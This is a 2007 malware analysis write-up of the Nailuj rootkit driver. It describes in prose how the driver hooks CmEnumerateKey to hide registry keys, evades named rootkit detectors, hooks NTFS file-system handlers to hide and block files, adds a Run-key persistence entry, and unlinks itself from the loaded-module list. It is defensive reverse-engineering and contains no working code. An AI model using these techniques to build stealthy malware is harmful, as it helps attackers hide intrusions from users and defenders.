Nailuj Malware analysis

From UIC

Malware analysis: Nailuj sys file

Nailuj Malware analysis
Author:	ZaiRoN
Email:	zaironcrk (at) hotmail (dot) com
Website:	...
Date:	31/01/2007 (dd/mm/yyyy)
Level:
Language:	English
Comments:	...

Introduction

Lately a lot of malwares are using rootkit techniques. Private and antivirus companies are trying to develop tools against malwares but, despite the fact that most of the techniques are well documented around the net, only a few companies are getting positive results. This particular malware is a perfect example because when it came out only a few tools were able to recognize its nasty operations. Don't know what you think but that's sound a little bit strange for me.

The malware, named Nailuj by some antivirus companies, is composed of 3 files: VideoAti0.exe, VideoAti0.dll and VideoAti0.sys. I won't talk about all the files, but will focus my attention on only one, the sys file. This malware represents a nice target for those who want to approach a malware for the very first time because it uses well-known techniques, such as hiding files and hooking functions. Nothing hard once you have dealt with them at least once. In addition, the sys file is compiled in debug mode and every operation performed by the malware is documented inside the code. Yes, every time it does something it reveals its success or failure, printing out a comment using DbgPrint function. This is really useful because you know what it will do before starting to analyze the code, not so bad. Do you want something more for your first malware analysis?

Most of the analysis can be done with a disassembler but support from a kernel mode debugger comes in handy. To run the driver, I have used Kernel-Mode Driver Manager by Four-F. Using this software, you don't have to deal with the malware's other files. DbgView is useful also for its comments. You'll find the malware here: [1]

Tools

• Ring0 debugger
• Ida

Essay

Approaching the malware
The file to analyze is a .sys file so it's easy to approach the target. One of the first thing to look at is the DriverEntry routine which has this common declaration:

DriverEntry routine is used mainly for initialization purposes and it has some useful information inside, like callback definitions.

How to locate the function? One of the functions inside DriverEntry routine is IoCreateDevice, the function is surely called because if you want to control a device you have to create a device. Besides that, most of the time, a sys file doesn't have many functions declared inside and this is helpful for us. Knowing this information, it is not so difficult to locate the DriverEntry routine inside the disassembler's dead list, from all the functions you have to extract the ones with two parameters and a call to IoCreateDevice inside and then it's almost done.
Here is a little sum-up of the Nailuj DriverEntry routine:

As you can see, everything depends on the operations performed inside the box named 'General initialization' because if something goes wrong with the ‘initialization,' the sys file exits. During initialization, the malware retrieves some information that it will use in the following parts. Before analyzing the core of the file, it's good to have a look at what it really needs.

All my investigations are done on a WinXP machine, but the malware should run fine on both Win2K and WinXP systems. Inside the malware there are some kernel related operations and due to this fact it needs to confirm the installed OS; it uses this code to determine the OS:

Every time the malware needs to access OS specific kernel structures, you'll find the snippet above repeated. That's why I said it should run fine on both OSs.

Before starting, the malware needs to get the address of the PsLoadedModuleList variable. The content of the variable points to the head of a list that is used by the kernel; the list (a double linked list) contains information about the loaded drivers on the system. Every elements of the list represents a module and the structure of each element is defined as:

To locate PsLoadedModuleList the malware uses this piece of code:

PsLoadedModuleList variable is OS dependent, so before this code you'll surely see the OS check mentioned before. This is an old technique exposed by Opcode.

Next the malware needs the ntoskrnl module. It checks for it by scanning PsLoadedModuleList:

Nothing hard, a simple routine that scans the entire list looking for a module with "krnl" word inside; I'm pretty sure it's looking for ntoskrnl module. If the module isn’t found, the check routine ends when the first element is found for the second time. It's a double linked list! If the module is found in the list, the malware can proceed with the rest of the DriverEntry's instructions and create the device with the "VideoAti0" service name.

In the next parts of the article I'll talk about what happens after the driver initialization process. The malware performs various tasks and I'm going to discuss them separately:
- Hide registry keys
- IRP_MJ_CREATE, IRP_MJ_DIRECTORY_CONTROL modification
- Auto start when Windows starts
- Hide itself


Hide registry keys
As I stated in the beginning, the programmer calls DbgPrint many times. I believe the author used this function during the development process and maybe forgot to remove them all from the final (debug) release, just a thought. They are, however, really useful because in few seconds you can really understand what the malware does. The debug strings are not encrypted, and looking at them got my attention, particularly to one titled: "start register hook.\n". I'll start with this procedure:

That sentence taken alone doesn't help too much, but it surely identifies a piece of code of some interest because of the DbgPrint call. Before inspecting the code I decided to look at the output produced by DbgView:

Hm, what about CmEnumerateKey?

According to the CmEnumerateKey documentation, the function returns the name of the Index-the entry of the open specified key. Hm, the printed string could be connected with that. Some lines below the DbgPrint function there is an interesting piece of code:

The code is used to patch 6 bytes starting from the address stored inside “_unknown” which is an address that points somewhere. At the moment I don't know what it's patching but CmEnumerateKey could be the right answer. On my machine the new bytes are:

Address 0xF9D242D4 is inside the driver space, so it's pretty clear that the malware redirects something to a function inside the sys file. This is the classical situation of an API hook trick. The initial bytes of the hooked function are patched with a jump to another function. Using this method, the hooked function is called, but you don't know if it will be executed.

Some questions may arise at this point: Is it possible to patch one or more kernel bytes? Yes, but you have to enable write protection using a well documented trick which involves the Control Register 0. In the snippet above there are two calls and I renamed them as CR0_Enable_WP and CR0_Disable_WP because this is what they do:

There are two more things we need to understand: What does it patch, and what is the function at offset 112D4.

To be sure it patches the initial bytes of CmEnumerateKey function, I put a breakpoint on one of the addresses printed by DebugView, 0x8056A6C4. The debugger breaks and I'm now sure the malware hooks CmEnumerateKey. As often happens, the new function calls the old function and then performs some operations over the data returned (by the old function). That's how a hook normally works and this hook is no exception. In fact, the function is called at the beginning of new_CmEnumerateKey. After this call, there is a check over the process name that calls CmEnumerateKey. Let’s look at the code:

It does a string compare with "fhs.exe". If the strings are equal, the malware prints the debug string and quit from the procedure. It also does a compare with the string: "knlsc13.exe".
Fhs (Find Hidden Service) and knlsc (Kernel SC) processes are rootkit detectors. Scanning the Registry, fhs and knlsc are able to identify VideoAti0 driver as hidden service. The idea of the malware's programmer is to fool fhs and knlsc by not hiding VideoAti0 registry key. That's why nothing happens when one of two process is found.
Now, let's see what happens when the process name is not fhs.exe and not even knlsc13.exe. The malware hides two registry keys: "LEGACY_VIDEOATI0" and "VideoAti0". I'm pretty sure the author read the good paper by HolyFather, the one about invisibility on Nt!

As you can see, at the end of the snippet is a call to CmEnumerateKey, the original bytes of the function are restored at the beginning of new_CmEnumerateKey and then patched again at the end of new_CmEnumerateKey. By doing this, the author avoids an infinite loop. The snippet is used to pass over the subkey for concealment. Pretty easy trick.


IRP_MJ_CREATE, IRP_MJ_DIRECTORY_CONTROL modification
"Hook Ntfs IRP_MJ_CREATE failed\n" is another entry inside DbgView output, another good starting point. The malware attempts to hook IRP_MJ_CREATE and IRP_MJ_DIRECTORY_CONTROL. This is done inside the call at offset 0x10BBE. Inside, you'll see the same operations performed two times, because the malware manages both Ntfs and Fastfat files systems. This is the scheme called for a Ntfs file system (the one on my machine):

1. Try to get NTFS device object address
2. Try to set IRP_MJ_CREATE hook
3. Try to set IRP_MJ_DIRECTORY_CONTROL hook

For those with FastFat, the process is the same. To locate the system, the device object uses the function ObReferenceObjectByName. The most interesting things are point’s 2 and 3, above. The hook is done the same way; the old pointer is replaced by a new one. In this case there are two hooks and there will be two functions to analyze.

An IRP_MJ_CREATE request is sent when a new file or directory is created or in general when a file/device/directory is opened. The new function simply checks if the name of a new/open file/directory contains one of these words: Fastfat.sys, Ntfs.sys, fastfat.sys, ntfs.sys, tmp.hiv.

If the string contains one of these the malware blocks the operation:

The IRP_MJ_CREATE dispatch routine changes the Irp before returning the Irp to the I/O Manager (calling IoCompleteRequest). The I/O Manager will receive a modified Irp! The I/O operation can't be performed because Iostatus field (it holds the status of the I/O operation) is forced to STATUS_ACCESS_DENIED. That's how the malware blocks every operation which involves the names listed above. If you want to see the trick in action you have only to create a new directory naming it ntfs.sys, that's the result:

Access denied! Sorry, it's in Italian, but I think you can understand it, I bet you have already seen this box before...

An IRP_MJ_DIRECTORY_CONTROL request is sent when a list of directories and files is requested; the new dispatch routine is used to hide files on our system. It tries to hide three files: VideoAti0.dll, VideoAti0.exe and VideoAti0.sys unlinking a specific structure from a list. We'll see later what is in the list and how the unlinking works.

The malware gets the address of the Current Stack Location. The stack location contains useful information about the user buffer data. The malware needs this information because it has to know the MinorFunction, IRP_MN_QUERY_DIRECTORY in this case.

Next it takes the address of the UserBuffer which is used to store information about the contents of the directory. The buffer is filled by the original dispatch function with the requested information which is stored inside the Irp structure:
- Major function: IRP_MJ_DIRECTORY_CONTROL
- Minor function: IRP_MN_QUERY_DIRECTORY: a directory query request

At this point the buffer contains some data which the malware can play with. Let's see what it does:

First of all, it wants to know if it needs to hide one or more files. The files it needs to hide are: VideoAti0.sys, VideoAti0.exe and VideoAti0.dll. To make this determination, the malware scans the buffer filled by the old IRP_MJ_DIRECTORY_CONTROL dispatch call. The buffer is filled with a sequence of structures, each containing information about a filename. The characteristics of the single structure depend on the FileInformationsClass parameter, in this case FileBothDirectoryInformation. Of all the fields inside the structure, only three are used by the snippet above: offset to the next structure, file name and length of the file name. It doesn't need anything else.
The malware does a compare between strings of the “filename to hide” and “the current filename” inside the UserBuffer. If the filenames are the same, the next step is the hiding of its component file, otherwise it simply checks the next filename.
Once it has done all the checks on the current entry, it moves to the next entry inside UserBuffer. Before moving to the next entry, the malware saves the pointer to the current structure because it will come in handy for a possible structure unlink.

How does the unlink work? Suppose it opens a directory containing one of the file to be hidden (named “To_Hide”) and other files (named A, B, and C); suppose that the structures are linked in this way:

“To_Hide” is linked inside the structure and at the moment is visible, a field inside A tells me where “To_Hide” is and a field inside “To_Hide” tells me where B is. To hide the file the malware simply unlinks “To_Hide’s” structure from the rest of the chain. By doing this operation, the system will only see A, B, C. To_Hide won't be shown.

This is possible because the first field of every structure is named NextEntryOffset and it represents the offset of the next instruction. Doing:

you'll obtain the situation described above. Now take a look at the snippet that is called when a file needs to be hidden:

Auto start when Windows starts
Speaking in general, one of the features of a malware is the ability to run every time Windows starts. There are several ways to make it run at start-up, the most frequently used methods involve using the Windows registry; which is what this malware uses.

Again, starting from the debugview output I arrive here:

PsSetCreateProcessNotifyRoutine is used to add/remove a driver callback routine to a list of routines called when a process is created or deleted. The routine is added and it's located at offset 0x1092B:

That last push should make the bells go off! It is the path to the “Run” folder, the place for the programs Windows will start every time it is started. A quick glance inside the call confirms what I was suspecting. A new key named ATICardInit was created with value "VideoAti0.exe". (In this article I haven't analyze the exe file but, as you can guess, it loads both the dll and the sys file so the malware will be in running mode until your antivirus (or you) catches it.)
This key will be created every time the process "userinit.exe" is launched. If you are not sure what userinit.exe is, I suggest you to run it from the command line. Yes! How many times have you used it without knowing anything about its filename? Ahah!

To sum up, the malware adds a new callback routine via PsSetCreateProcessNotifyRoutine and every time the process userinit.exe is created the malware adds a new key inside the Windows registry, used to start the malware when Windows starts.


Hide itself
In the last part of the article, I’ll show you how the malware tries to hide its sys file. At the beginning of the article, I said that the malware needs two pieces of information before starting, one of them is PsLoadedModuleList symbol and the time to use it it's finally arrived.

PsLoadedModuleList stores the address of the head of a list. This list (a double linked list) contains information about all loaded drivers. The malware takes the address of the first element of the list and start checking all the loaded modules. Why? Let's see:

It looks for a module named "videoati0" (itself) and then it unlinks the module from the list. The idea behind this unlinking is the same as we saw where the malware tries to hide its file names, but there's a little difference.
The first field of the MODULE_ENTRY structure is a LIST_ENTRY structure which has two fields, named flink and blink (forward and backward link). The fields are pointers. The first one is the pointer to the next structure and the other field is the pointer to the previous structure. Because it's a double linked list, two pointers are necessary:

The instructions in range 1181E/11826 do the unlink, the result is:

That's all...

Note Finali

For any kind of comments/criticism/suggestions, feel free to contact me at zaironcrk[at]hotmail[dot]com